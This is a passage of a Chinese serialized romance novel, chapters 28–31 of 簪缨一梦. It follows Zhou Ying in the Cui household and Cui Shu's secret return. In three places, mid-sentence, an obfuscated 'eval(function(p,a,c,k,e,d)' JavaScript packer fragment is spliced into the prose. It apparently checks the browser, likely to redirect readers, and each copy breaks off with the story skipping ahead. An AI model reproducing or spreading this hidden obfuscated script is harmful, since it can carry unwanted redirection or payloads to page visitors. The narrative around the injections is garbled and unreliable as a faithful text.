马蹄在深夜的巷道惊起空空声响，他沉默片刻，问：“致仁怎么样？” “受了三十杖，只剩一口气了。”王举耷拉着脑袋，有气无力地说，“我去瞧了瞧，给上了些药。肃政司应当留了情，不然只怕捱不过昨晚。” 崔述默不作声。 王举牵着马往前走，喋喋不休道：“当日税收一案，明明疑点已清，你亲审的结论都递到了御前，结果致仁私下买通苦主翻供诬你，导致你负罪出京。” “你怎知是他诬我？此案证据确凿，并无疑点，乃我刑部同僚亲签，朝中也无异议。” “你这话就难为我了。”王举反手抽了抽肩上背的箭筒，“总归我打小就信你。”他颇不好意思地说，“你不肯多言，我当日也未察觉是他所为，直至我后来发现道全从他身边消失了，再然后，就听到了平山县传回的噩耗。那时我便开始疑他，但无法确定。” “到昨日这一场庭杖，我去看他时，他连喘气儿都难了，还断言是你所为，盖因他心中有愧，才敢如此笃定。我这才敢确定你俩必然早生罅隙互相攻讦，只是不曾告诉我这个夹在中间的傻子。” 笠帽遮住了所有心绪，看不清崔述半分神情。 王举痛心疾首：“我就不明白，好好的两个人，斗成这样有什么意思？” “东宫派人去探视过没有？” 没料到他突然发问，王举愣了须臾才说：“赈灾上捅出这天大的篓子，还瞒了将近半年才被弹劾揭发，圣上怒成这样子，重启十年不曾动用的庭杖之刑，谁会去触这霉头？太子用人不当，已是泥菩萨过河，怎还敢露面，只得将他做了弃子。” “他这样心思缜密的人，能出这么大纰漏，无非是心急想替东宫抢功，到头来……也不奇怪。”崔述轻叹一声，“若非如此，我也难轻易抓到他的把柄。” “你怎么突然问这个？”王举疑惑地看向他，“我记得你以前从不关心党争之事，只想做个纯臣。” “是么？” “朝堂风云变幻，距你获罪下狱已经足足一年又三月。”王举叹了一声，“若非与你熟知之人，朝堂上还有谁能记得你崔述安曾经前途大好，这事更怕是如何也想不到与你还有关联。” 似知道他所想似的，王举宽慰道：“等明日致仁出了京，你若还甘心弃官身隐幕后，这事也就彻底掩下了，谁也不会将这事算到崔家头上。” “杜太傅呢？”崔述忽然发问。 王举一拍脑袋：“昨日圣上盛怒，亲命朝臣观刑，独杜太傅悍然抗旨，拂袖而去。” 崔述垂首，黯然道：“老师猜出来了。” 28. 簪缨一梦（四） 雪势日大，崔府中静得厉害，丫鬟仆役行事有度，怡园中镇日难闻人声。 周缨早早洗漱完，窝进炕中，用被子将自个儿裹成茧取暖。 紫檀小几上的《孟子》虽翻开着，但灯烛燃了一半，书也没翻过一页。 她有心事。 短短几日，她已经察觉到崔府当中气氛有些怪异，二郎崔则一家对她或许有些不喜。 每回用膳时都见蒋萱一人在忙前忙后，她有两次到得早些，便想同蒋萱攀谈两句，蒋萱却借口备膳事忙委婉回拒。她原本并未多想，后来偶遇过一回崔则，对方虽表面客气但亦冷淡，这才逐渐觉察出不对来。 她虽不知何故，但料想自己贸然住进崔家，诸如裁衣、清供、香薰等诸多零碎事情都是蒋萱在操持，定然给他夫妇二人添了不便，被人不喜亦是正常。 如此一想，倒勉强宽下心来，平日尽量不给旁人添麻烦，能自己操持之事皆亲自动手，实在碍于府中规矩不好推拒的，也只好强迫自己学着入乡随俗。 白日间尽量不出去惹眼，一来是伏案读书为要，二来是一旦出门，丫头婆子跟了乌泱泱一大片，她实在受不起这阵仗。夜里更是挑灯苦读，似存了心要将崔述那的藏书在几月间阅过一遍似的。 只是一旦闲暇下来，终归难以完全不去思虑此事，她将案上书册草草翻过两页，仍旧有些神思恍惚，便强迫自己打起精神，聚精会神地看起书来。 院中静谧，衬得竹影惊喜的声音格外清晰：“二姑娘怎么过来了？” 周缨急忙挪开小几下榻，随手取过一旁木施上的氅衣披上，快步迎至明间。 崔蕴真抬脚跨过门槛，将手中提着的六角玻璃风灯递给侍女，又解下肩披的大红天鹅绒斗篷递给侍女，才向周缨笑道：“周缨姐姐，深夜叨扰，先向你赔个罪。” 周缨不妨她会突然来访，草草整理好垂落的头发，笑说：“哪里的话，稀客造访，求之不得。”说罢吩咐松心去将日间韦湘差人送来的糖蒸酥酪盛一碗上来。 “我就爱吃这个，府里的厨子只能模仿其形却不得精髓，阿娘常差人去外头替我买来。”崔蕴真笑着落座，才注意到周缨的装扮，“周缨姐姐已准备歇下了？那我来得可真不是时候。” “没有，还在看书，不过犯懒，觉得炕上暖和，这才早早收拾上榻了。” 崔蕴真闻言来了兴致，好奇道：“姐姐近来在看什么书？” 周缨略微一想，回里屋拿了那本《孟子》出来，向她道：“今日读到这一句，‘为政不难，不得罪于巨室。巨室之所慕，一国慕之；一国之所慕，天下慕之；故沛然德教溢乎四海’，有些不明白，正巧你来，想请教请教你。” 蕴真接过书册，瞧见书页上的批注，一时愣住，抬头看向周缨：“这是三哥少时读过的书？” 周缨低头细看这略显青涩的字迹一眼，老实道：“在他院中取的，是他何时所读我就不清楚了。” 崔蕴真掩下心底的讶异，笃定道：“我幼时曾和三哥一起读过书，这是他以前的字迹无疑。” 周缨一时也奇道：“你们年岁差这么多，竟也一起读书么？” “也不是，三哥早早出府拜师，课业皆在外头完成，但回府温书时，我常去捣乱。”崔蕴真浅尝了一口酥酪，满足地笑笑，“就悄悄从乳母那里偷溜出来，跑来这里，扯扯阿兄的衣袍啊，乱涂涂书本啊……什么捣蛋的事情都干，常把伺候的嬷嬷气得火冒三丈要去找父亲告状，三哥却不生气，耐心把我哄好抱给乳母，好言好语地将嬷嬷劝消气，再回到桌案后继续读书。” 周缨想象着她所描述的画面，没忍住一乐。 “后来年纪稍微大了点，三哥便在藏书楼也为我置了一方小案，我在那里读过一阵书，不过时日不长，后来他便出京去了。” 崔蕴说着说着，方想起正题，回过神来，搓了搓手，问周缨何处不解，周缨才道：“我读不明白这句，为何巨室所慕则一国慕之。旁人不清楚，你却知晓我来历的，像我只知温饱充饥乃第一要事，我之所慕并不在于所谓德教，与你们这样的簪缨世家之所慕自然不同。” 讶异于她的坦荡，崔蕴真沉默片刻才说：“贤明自古为人所慕，巨室如是，平民亦如是。周缨姐姐虽如此说，难道真不慕贤明之德？” 周缨默然垂首，半晌方说：“也是。” 室内温暖，烘得蕴真双颊酡红，一副微醺模样，愈显娇俏。 “我还以为姐姐会问我另一解。当日我读到这里时，竟还以为先贤是个满口仁义却屈从权贵的小人，愤怒地跑去问阿兄，阿兄同我说此句初学者十有八|九都会错，没想到姐姐却有独到见解。”崔蕴真回想了半日，方忆起来旧事，“这篇阿兄曾与我细讲过，说是有三解，还列了注疏，应当还在藏书楼里，我明日陪姐姐过去找找如何？” 周缨自然说好。 说话间夜已深，嬷嬷连催了两三道，崔蕴真起身穿衣，边屈身由侍女拨弄头发，边同周缨道：“早两日便该来瞧姐姐的，奈何母亲让我抄经备用。好巧不巧今日抄完了，赶紧过来看看，等明日得闲，我再正式来拜访姐姐。” - 翌日一早，用过早膳，周缨前脚辞过韦湘出来，崔蕴真后脚便跟了出来，上前亲昵地挽过她的胳膊，拉着她往可园去。 “这么早，你不回去再补补觉？” “周缨姐姐打趣我呢，我可从来没这恶习。”崔蕴真解释说，“三哥那里地方大，这种不大重要的东西也不知存在哪里，找起来需要花点时间，咱们早些去，免得误了午膳。” 两人叙着话进入可园，崔蕴真叫停丫鬟小子们，让都在院外候着，只带一个婆子进园，边走边说：“三哥不喜旁人乱动他的东西，这都一年多没住人了，突然带这么多人进来，怕误打误撞坏了他的陈设，便让他们先在外头候着。” 周缨微微侧头看她一眼，终于下定决心，头回打听崔述的事：“你三哥他……到底犯了何事？” “你不知道？”崔蕴真愕道，“不知道也敢信他？听母亲说，你与三哥一路从南方同行来玉京的。” “确实不知。”周缨面色稍赧。 “那是我三哥看着就像个好人？”崔蕴真乐出声来，末了又神色转悲，“他出事前曾任刑部右侍郎，断案如神，公正有加，算得上年轻有为，朝野间皆颇有声誉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周缨则觉得这些书已够她看上好些时候了，虽然未找到蕴真昨夜所说的笔记，但也不虚此行，便在窗前驻足，抽出一本翻阅起来。 “周缨姐姐，我找到了。” 周缨将书阖上，走到声音传来的角落，那里并无书架，只置着一只小圆柜，蕴真却如获至宝，惊喜地翻出许多旧物。 她将集订成册的旧书递给周缨，惊喜道：“我当时不懂来请教过阿兄的问题，阿兄的注解都留在此了。” 周缨细细翻阅，果然找着昨夜之惑的答案，这才去瞧愣在一旁的蕴真，见她手中拿着一只纸折的蜻蜓。 那蜻蜓虽手法粗陋，模样亦算不得灵动，头身比例不大协调，却保存得极好，应该是她儿时玩物。 蕴真将旧物放回柜中，阖上柜门，同周缨往下走，自告奋勇要陪她读书，两人便一同往怡园走去。 行至一半，瞧见崔含灵和崔易正撅着屁股猫在假山后头，常年亲自照料这兄妹二人的蒋萱却不见踪影。 见她二人过来，崔易忙比了个嘘声的手势。 29. 簪缨一梦（五） 周缨同崔蕴真对视一眼，蹑手蹑脚地走上前去，屈着身子同两个小童一起伏在假山后面，静息看了一眼，石洞之后不过是块空旷的庭院，空无一人，并无甚新奇。 蕴真颇觉无趣，小声问道：“你们两个小鬼头，在弄什么呢？” 崔易转头冲她再做了个噤声的手势，蕴真只好住声，转头四下探看，找寻婆子的踪迹，因一无所获，只好一脸狐疑地再次打量着这两个兔崽子，这才瞧见二人身上都已覆了一层薄雪，猜测两人已在此处躲了好一阵了，便问道：“你们母亲呢？” 崔易瞪她一眼，再次警告她闭嘴。 崔含灵转头小声说：“二姑姑，母亲在祖母那里，今日忙着呢，要一直待到用午膳，我们等会儿就过去找母亲，你先别管我们好不好？” 粉妆玉琢，温声温气，比崔易那小子讨喜许多，蕴真气消了大半，便不管他们了，起身要走。 正当此时，崔易快步从假山后蹿出去，手里擎着支长竹竿，使劲儿往雪地上一盖，而后冲含灵欣喜喊道：“妹妹快过来，我抓到了。” 含灵提着裙裾小跑过去，兄妹二人一起趴在地上，小心翼翼地盯着竹竿上系着的小竹篓。 崔易将竹篓轻轻往上提，四只乌溜溜的眼睛整齐地往里看去，哪里有半分活物的影子，只剩被雀鸟啄食过的米粒。 “我明明看见盖住了的。”崔易恼羞成怒。 崔含灵小手扒拉着他的衣袂，宽慰他：“没关系，我们再试一次。” “好。”崔易转怒为喜，左手拿着竹竿，右手牵着妹妹往回走。 “原来是想抓雀，这俩小鬼精。”崔蕴真笑着说，“等会儿告诉你们母亲，仔细挨骂。” “你别吓唬他们了。”瞧崔含灵的手都已冻得通红，周缨将自个儿的手炉递给她，让她好生捂着，又转头看向崔易，佯作一副神秘兮兮的样子，“天太冷了，雀鸟不常出来的，我教你玩别的如何？” 崔易瞥她一眼，先是不欲搭理她，又忍不住诱惑，搓了搓冻僵的手，嘟着嘴别扭地说：“你会什么好玩的？” 这倒真问住周缨了，眼神逡巡一圈，她指着檐下挂着的纱灯问：“我教你们做纱灯好不好？” “听着就没意思。”崔易断然拒绝。 崔含灵却认真想了想，才扯着他的衣袖说：“哥哥，我们不抓雀了，去做灯好不好？我喜欢兰姨娘那里的九转莲花灯，可惜没在别处见过一样的，兰姨娘又宝贝得很，不好同她讨，要是能做一盏也好。” “好吧，听妹妹的。”柔声细气的女童音果然听得崔易心软。 原本只想连哄带骗，把两人叫到室内暖和一下，这下轮到周缨咂舌：“我没见过，那灯是什么样的，同我说说可好。” “我带你去瞧瞧。”崔易拉过周缨的手便走，刚迈出一步，又折返回来，另一只手牵住含灵，带着两人阔步往前走。 崔蕴真哭笑不得地吩咐婆子去同蒋萱知会一声，自个儿也跟了上去。 兰姨娘住得稍偏，走了一小段后，崔含灵的步子便慢了下来，周缨弯腰将她抱起，冲她扮了个鬼脸，逗得她笑出声来。 远远听见人声，兰序迎到院门外，招呼他们进来坐，听闻来意，犹豫一阵才说：“先前磕坏了，就叫人收起来了，我这就派人去取。” 等灯被取出来，周缨不由眼前一亮。 入目是一盏高约两尺的莲花灯，底座为青玉雕琢的莲台，中以铜柱为茎，悬九朵重莲。殊不知其中还暗藏机巧，待灯芯燃起，莲台徐徐轮转，莲花舒展绽放，恍若佛光流转。 独独莲台边缘一角有处损毁，不仅破坏了整体的精致与和谐，更损坏了其中机括，莲台转了半圈之后便缓缓停了下来，停滞不前。 兰姨娘解释道：“最精巧之处摔坏了，府里的工匠也束手无策，便一直收着了。” 周缨连称可惜，同蕴真道：“果真好精致的物件，这俩家伙可真会给我出难题。且不说其中机巧我并不会，单论外在，铜丝、青玉、粉绢，缺了哪一样，也都是仿制不出来的。” 蕴真歪着头看了半日，思忖了下，方道：“含灵既喜欢，做个差不多的给她玩玩就行，小孩子嘛，隔一阵便忘了，不打紧，不必一模一样。” “那些东西我这里倒都有。”兰姨娘也在旁接道。 周缨颇有些底气不足：“那我试试吧。” “我们做一个小一些的如何？”周缨边哄着两个小孩帮她往以铜丝挽成的莲花上缠绢纱做花瓣，边用铜丝塑出根茎，而后再细致地用松脂胶将莲台、根茎、莲花连接在一处，一盏外形相似的小灯便粗制成型了。 即便精致度不足原物十之一二，工艺仍旧复杂，几近耗费了两个时辰，崔易早坐不住在屋里跑来跑去四处溜达了，含灵却还乖乖坐在小凳上帮忙。 行将完工，周缨抬头活动僵硬的脖颈，对上一双沉静的眼，那里头隐含几分哀切。 兰姨娘站在窗下，凝神盯着她，抑或说是她手中的灯盏。 周缨收回目光，掩下心中的疑惑，将灯杆固定在铜茎顶端，便将其改成了一盏可提在手中的小巧精致的风灯。 含灵喜不自禁，从她手里接过，拎着便往回跑：“真好看，我得拿回去给母亲瞧瞧。” 崔易瞧见妹妹一跑，赶紧追了出去。 眼见着两个小孩都跑远了，再耽误不得，周缨也同兰姨娘告别：“时辰也不早了，怕二少夫人着急，我们便先回去了。只可惜方才那盏做得不够精细，也未能窥得其中巧术之秘，我还想再试试，若您……” 兰姨娘似知她所想，不待她把话说完，便欣然同意：“我那些东西备得不少，你若用得着，便都拿去吧。” 周缨道过谢，追上两个跑得跌跌撞撞的小孩，带他们回去找蒋萱。 “行吧，我陪你过去。”折腾了一上午，崔蕴真读书的兴致已散了大半，好在和周缨亲近的心思还未尽，懒懒散散地随她一同前往澄思堂。 两个小崽子一进院门就跑得没了影儿，蒋萱正和韦湘在说话，听见吵嚷声，笑说“还知道回来”，吩咐婆子去看看，又继续接着方才的话说：“月底成安王妃做寿，去岁公公做寿时，成安王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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寒暄一阵，两人告辞出去，韦湘注视着周缨的背影，赞道：“先来的几天倒还有几分局促，短短时日，面上看着倒沉稳大方多了。” “您拿她亲女儿般的待，衣食用度都特地交代要和小姑子一样，都说人靠衣裳马靠鞍，这样精心护持，能差到哪里去。”蒋萱顿了顿，接道，“再说，周缨姑娘出身虽低，但现今附籍外祖家，不知情者看来也是清正人家，且自来咱们府上起，看着为人处世都还算不错。” 韦湘神色肃然，沉思一阵后方说：“接她回来时我倒没想这么多，只觉着这姑娘吃的苦头太多，又有恩于三郎，合该帮衬一把。如今倒突然觉得，她虽出身寒微了些，但心性样貌都算得上上乘，若机缘合适，待三郎之事了结，回府成过亲后，便留在三郎房中也未尝不可。” “三弟虽说一表人才，待人又是极好的，这事若成，算不得亏待周姑娘，但总归还是要问过姑娘家的意愿才是。倘若周姑娘愿意，自然好事成双，倘若不愿，周姑娘年纪倒也到了，婆母做主收作义女，以崔家女名义出嫁，也能说门还算不错的亲事，总比她自谋生路强些，也算不辱没这份恩情。” 韦湘目视二人方才离去的月洞门许久，默然不语。 30. 簪缨一梦（六） 大年夜，风静雪悄，崔家家主领子孙祭祖，周缨作为外人不便参与，便在怡园中多消磨了阵时间，待蒋萱着人来请，方起身前往饭厅。 席间小辈纷纷说些讨巧话逗长辈开心，崔公倒瞧不出什么，韦湘的眼角却不合时宜地有些红，崔蕴真看得鼻尖发酸，忙斟酒上前，同韦湘逗趣儿贺岁：“阿娘明朝必胜今日，人比花娇。” “你这丫头，没大没小的。”韦湘被她逗得一乐，泪珠倏然滚落下来，悄悄抬袖掩住拭干，又招呼崔含灵上前，将一枚工艺精致的金锁戴于她颈间，看了又看，连连夸道，“含灵这丫头越长越讨喜。” 含灵耐不住，冲她做个鬼脸，拉过哥哥的手便往中庭玩闹去了，不多时院中便传来零星的爆竹声和孩童四下跑动的声音。 蒋萱忙命丫头婆子都盯紧了，生怕这两位小祖宗闹出些事来。 韦湘命人呈上四只螺钿箱奁，笑着说：“今日吉祥，四位小辈都有彩头，”说罢招呼丫鬟分呈给四人，给崔则的是一套文房，给蒋萱的是一副头面，给蕴真和周缨的则是制式一致的两支闹蛾金钗，其上金蛾振翅欲飞，栩栩如生。 崔蕴真乐得嘴角微张，却佯装生气：“母亲不公，偏心二嫂。” “你二嫂平日操持家中庶务，比你们两个要多费多少心思，你连这点都要计较？”韦湘打趣她。 蒋萱也假作奚落她：“小姑若瞧得上，拿去便是。” “母亲送给二嫂的，我怎敢要？不过我也得向嫂嫂讨个彩头，等出了正月，二嫂替我聘个西席吧，我想好生念上几个月书。” “哟，这是怎么了？过着年呢，倒突然发愤忘食起来。”蒋萱仍拿她取乐，“不过读书这等大事，我怎敢怠慢，不用出正月，等过了上元，二嫂定替你聘位德高望重的好先生回来。” 蕴真轻哼一声，挽过周缨的手便往外走，噘嘴道：“你们都取笑我，我也和周缨姐姐说体己话去，不与你们这些人共处一室。”说着还不忘拿上那两支金钗。 身后笑成一片，连崔公都放声而笑，直呼此女甚不像话。 崔蕴真倒不介意这些奚落，将金钗替周缨簪上，忿忿地踩着雪往回走，脚下用力得紧，踩得雪地嘎吱作响。 提灯的丫鬟隔着有段距离，光线晦暗，周缨看不清她的神情，亦察觉出她此刻颇有些闷闷不乐，但也不出声劝慰，只安静地跟在后头往她院中走。 行至一半，蕴真忽然问：“周缨姐姐，我能不能去你那里坐坐？” “好。我无事在身，若你今夜无习俗要守，可与我一道。” “那就好。”蕴真再度挽过她的臂弯，并排转往怡园走去。 进门时，蕴真吩咐仆妇先回院中，晚些她自行回去，婆子犹疑，周缨赔笑说：“晚些我让松心亲自带人送二姑娘回去，各位妈妈先回去吃茶吧，这天儿冷，干等着也难受。” 众人这才半推半就地散去，两人慢慢行至明间，热气扑面而来，周缨替蕴真解下斗篷递给竹影收好，又吩咐忪心去打热水来伺候，末了还不忘嘱咐去煮壶醒酒汤来。 蕴真脸色红晕，眼睛微眯，显然已有醺意，周缨将她扶至里间榻上坐下，帮她擦过脸，又等她洗完脚，才问她：“好些了么？也没吃两杯酒，怎么就醉了？” “我没醉。”蕴真趿拉着云头履，歪歪斜斜地爬上周缨的炕，显然把这里当成自己的卧房了。 周缨无奈跟过去，不自禁地在她颊上轻轻掐了下，揶揄道：“你这醉鬼。” 蕴真歪着身子靠在周缨身上，嘴里嘟囔着自个儿没醉，含糊不清地说着醉话，周缨凑上去听，只听明白一句——“他们都只当没他这个人”。 周缨遣退侍女让自去过节，自个儿慢慢将蕴真发饰拆下，喂她喝完醒酒汤，在她背上轻轻拍了拍，安抚她睡下，掖好被子，才抽开身，走至梳妆镜前，揉了揉已经发僵的脸颊。 陪笑到底是件难事，她想。 待蕴真睡熟了，她自柜中取出一只剔红莲花纹漆盒，提着六角风灯悄悄前往兰姨娘的住处。方在院外和守院的婆子说了几句，里头便传来兰姨娘的声音：“谁在外头说话？” 婆子忙说：“是周缨姑娘来了。” 兰序迎到门前：“周姑娘怎么来了？快进来坐。” 周缨捧着那只剔红漆盒，解释道：“以为兰姨娘还在澄思堂守岁，便想托这位妈妈转交，谁知道您竟在屋里，不曾主动进来拜会，还请恕我无礼。” “我不喜热闹，便早些回来休息了。”兰姨娘将她引进屋内，在罗汉榻前落座。待漆盒打开，见里头是只精致绝伦的九转莲花灯，眼睛立时亮了一下，忙取出灌好灯油，甫一点燃，果见莲台轮转，莲瓣绽开。 眼泪倏地坠下，兰序忙拿袖掩住，连说失态。 “适才瞧见兰姨娘在席间怏怏不乐，猜想此物或可解几分烦闷，便趁夜来叨扰兰姨娘了。” 兰序连连道谢：“不过瞧了半日，便能复刻出一模一样的来，周缨姑娘好巧的手，真是羡煞我。” “未曾拆开看过里头的机巧，只是翻看了些书找了些巧术，不敢妄称一致，还望兰姨娘不要嫌弃。” “这是哪里话？”兰序忙命人呈上一碟精致的梅雪酥招待她，“我自个儿做的，手艺虽比不上府里的厨子，胜在梅花雅淡清香，糯而不甜，吃来不腻，你尝尝。” 周缨顺从接过，又听她娓娓述来：“那时我家里破落得厉害，我跟着一个手艺人学做灯，这灯便是他所制。可惜我学艺不精，不过能勉强糊口。后来家中愈发无法支撑，父亲欲将我贱卖，有幸遇崔公将我买回，自此锦衣玉食。韦夫人以礼相待，小辈们也都不与我为难，日子过得还算舒心。” “可时常见兰姨娘似有心事。” “簪缨世族，高墙深院，困鸟倚笼，振翅难飞。”兰序淡淡一叹，“若问我所愿，我倒宁愿流落市井，日制一盏灯，夜食一瓯茶。” 周缨犹自沉思，兰序已笑着将这话揭过，说：“是我失言了，不过想着你同我一样，算不得真正的府里人，多说了几句，别同我见怪。” 闲话两轮，周缨辞行，临行前兰序将她送至院门，颇为不舍，眼底也似起了雾：“总归多谢你，了我一桩心愿。” 周缨一路慢慢走回怡园，将兰序的话翻来覆去忖度了好几遍，终是懂得了几分她眼里若即若离的哀愁。 回至卧房中，蕴真仍在酣眠，周缨坐至案前，取出那只古旧的榉木盒子，其上铜锁已经失了功效，只松松挂在上面，她取出里边的物件，一一阅过。 竹编的鹰，两段干茎，七封她已烂熟于心的旧信。 以及，一块已然开裂的陈糖。 周缨将烛台移近，将纸笺重新翻开，嘴唇轻轻翕张，无声重读阿娘留于人间的自白。 陈年饴糖泛着苦味，虽未入口，却好似苦得令她脾胃翻疼，她微微仰头，敛去所有情绪。 客居在外，远闻旁人声势浩大的祭祖，却连一炷香也不能替阿娘敬上，满腹怅然令她险要垂泪，可她终究没有哭，只沉默着将信笺叠好装回盒中，再将木盒放回原位。 烛火轻轻扑闪了下，她不由看过去，恰闻窗沿被轻叩了一声。 她似有所感，心登时悬起来。 睽违已久的声音果如上回一般响起——“是我。” 周缨将窗轻轻支起一寸，比了个噤声的手势，压低声音说：“蕴真在我这里，睡着了。” 崔述疑惑地看她一眼，示意她出来。 周缨将窗阖上，确认蕴真睡得还算沉，打开明间的门，崔述站在门口，并不进来，只扫了一眼她脚上，说：“换双靴子，带件厚衣服。” “要出去？”周缨讶然。 见他点头，周缨回房换上一双麂皮靴，又随手拿过一件玉色冰梅缂丝银鼠里斗篷，吹熄灯烛，悄无声息地掩上门，随他从西角门出府。 等将崔府远远甩在身后，周缨长吁一口气，做贼心虚似的说：“你怎么来了？” “把衣服穿上。”崔述叮嘱她别着凉，领着她往西走。 巷道幽深，夜里行来人迹罕至，周缨跟在他身后，不再出声，走出巷尾，一匹青骢马安静地站在寒风中，打着响鼻等待主人。 崔述斜觑她一眼，玩笑道：“拘在府里这些日子，还上得去马吗？” “小看谁呢。”周缨不服，摸了摸马背，确认这马脾气还算温顺后，利落踩着马蹬上了马背，歪着头看他，一副自得的神情。 崔述微哂，牵马往前走，随口道：“今夜无宵禁，教你骑马。” “大年夜，骑马？”周缨有些怀疑自个儿听错了。 崔述颔首，牵马行至玉素河边，岸沿人头涌动，一株百年古木上挂满红幡，随风飘拂，树下有青衫书生摆案代写。 “玉京有此习俗，年夜悼亡人，家中若有不便的，未亡人便来河边系红幡，放花灯，以寄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周缨先一步上马，马身一震，崔述随即在她身后落座，双手绕过她腰际，于她身前握住缰绳，简单传授过要领，将缰绳交予她：“你并非完全不曾接触过牲畜，马有灵性，你往日如何驭其他坐骑，便如何驾驭它。”凛风呼啸，他便倾身附耳以掩杂声，“我在后边护着，别怕。” 微凉的唇瓣几要擦到耳垂，周缨手心冒出一层汗，浸润缰绳，令她掌心有些滑。 她微微侧头去看他：“交给我控缰，你不怕？” “有何好怕？”他答得缓慢而认真。 周缨深吸一口气，双腿夹紧马腹，青骢马在夜色里迈开蹄，往南而去。 崔述替她指明人车较少的道路，她便全神贯注地紧盯眼前三尺的路面，有两回险些要与行人撞上，崔述被迫帮她控了两回缰，却不见丁点儿烦躁与怒气，仍旧耐心教她新的要领：“放松，抬头，看远些，马速快，你只盯着眼前这么一点距离，自然避让不及。” 周缨领悟力不差，胆子亦比寻常闺秀大上许多，等青骢马驰出城门，跑至近郊荒地时，崔述令她勒马，自行下了马。 “怎么？要回去了？”周缨兴致未减。 “你自己跑两圈试试。” 身后一空，周缨底气不如先前那般足，手中缰绳松了又握，握了又松，终于一抿下唇，腿上发力，控马冲了出去。 得了宽敞空地可供发挥的青骢马兴致大涨，撒起欢来，周缨不免惊慌，又迅速调整过来，转弯路过这头时，还有闲心冲崔述笑了笑。 夜中郊野，万籁俱寂，唯流水淙淙之声相伴，玉色斗篷随风翻飞，发上闹蛾振翅翩翩，马背上的韶龄女子风姿绰约，笑颜明灿，令人见之忘机。 周缨跑至近处，瞧他似有些怔愣，挥鞭掠水，以鞭梢挑起一帘水幕，霎时雨落纷纷，飞珠溅玉。 “啪嗒。” 他好似听到水滴轻轻坠入玉素河。 凉风吹至，心神归位，他朗声同已经跑开的驭者道：“跑马有时可以纾解郁气的，跑快些试试。” 周缨心中蓦地一震，握紧手中缰绳，凌空挥鞭，依言加速往更远之处跑去。 山川草木随夜幕一并后退，流水岸边漆黑一片，山崖之巅悬着冷寂的星子，一切都是那么的空旷寥远，人在其间显得渺小至极。 周缨忽然簌簌落下泪来。 山河如此远阔，她却在翠竹山摇摇欲坠的老屋里困顿了整整十五年。 31. 簪缨一梦（七） 空山寂寂，浓如泼墨的夜幕下隐匿着待破土而发的生机。 周缨打马跑了两三个来回，只觉郁结在胸的怅然倏然无影无踪，心中畅快淋漓，轻松无比。 她勒马停于玉素河畔，轻抚马颈。 青骢马安静地饮着河水，漾起水面一圈一圈的波纹。 抬头望去，山峦巍峨，于夜色中愈显壮阔。 她牵着马往回走，远远望见崔述仍旧站在原地等她。 夜风料峭，吹得他氅衣上的兽毛轻轻舞动，衬得他侧颊的线条愈见冷峻，然而望过来的那双眼仍然温和而沉静。 “累了？” 周缨说没有，解下斗篷抱在臂弯间，自说自话：“临时起意，衣服穿得碍事。” “回去了？” 上一刻似还语带埋怨，现下却有些恋恋不舍，周缨回头望向方才疾驰留下的马蹄印，少顷才说：“走吧。” 崔述牵马走在前头，周缨一步三回头地看向粼粼水面。 淡淡星光打在她的额上，映出其上薄薄的一层汗珠。 她自袖中掏出一张暗绣梅花的手帕擦干，余光瞥见崔述看来，莫名一慌，垂下手问：“怎么？” “上马吧，出了汗，停一阵便冷得厉害，小心着凉。” 待周缨翻身上马，他继续指点：“马蹬不要踩得过深，若有意外，不易脱身。” 周缨比划了下位置，确认记住了，往前挪了些，将位置腾给他：“路还远，你也上来吧。” 两人共乘一骑返回城中，相比来时，人迹已稀，但仍时不时地撞上三五成群结伴纵酒的少年，周缨心微微悬起，全神贯注地盯着前方动静，虽仍显慌乱，但已比去时要有章法得多。 行至净波门，周缨放慢速度，同他道：“你先回吧，崔府已不远了，我自行回去就行。” “府里的布局摸清了么？” 周缨老实摇头，自然被他取笑：“回去怎么找得到怡园？被巡夜的家丁发现，少不得要多费几番口舌解释。” 周缨自然不再提这话了，驭马继续往西，同他搭话道：“局势是不是好些了？瞧你今夜已敢出现在闹市了。” 崔述不否认：“连累你拘在府里这么久，快了，再等等。” “其实崔府里也是另一方我没见过的天地。”周缨神色认真，语气也真诚，“都是很好的，我没觉得委屈，真的。” 不料她竟会这样想，崔述淡叹一声“也好”，不再出言。 一路沉默，等行进一条幽深的小巷，周缨偶然回头，发觉他正若有所思地盯着一户人家檐下的灯笼瞧，她悄悄侧目再打量了他两三回，直至已将那户人家甩至身后了，他仍有些神游天外。 “那是谁家？”她不由生奇。 崔述如梦初醒：“杜太傅的宅邸。” “瞧着倒是普通宅院。”周缨颇有些讶异，毕竟如此大官，这座庭院瞧着却有些冷寂凄清。 “太傅性廉。” 周缨闷闷地“哦”了一声：“既想念老师，为什么不去看看？正旦这样的日子，做学生的拜会老师，不是理所应当吗？” “蕴真同你提过？” “她说你学问很好，师从大儒。” 崔述不接话，等她于巷尾勒停马后，先行牵过马往前走，周缨跟在他身后，絮絮说着：“这也值得百转千回么？我只知我如今想再看看阿娘都无机会了，明明挂念对方，为何要如此？你的老师既值得你这般惦记，想必也不会因旧案就将你检举入狱，你若肯去，他想必会很高兴。” “未必。” 周缨定住脚步，看他一眼，思忖许久方说：“你若不觉得不妥，明日我代你去拜访吧。叫上蕴真一道，以你们的关系，于杜太傅而言，应也不算冒昧。” 崔述没应声，将马系在望桩上，收束绳索的时候才说好。 两人并排行于府中小径，崔述将她送回怡园，嘱咐她赶紧休息，生怕她着凉，周缨说没事，夜里炉上常温着热水，见他要走，又问：“韦夫人都特地为你留门了，真不打算去见见？” 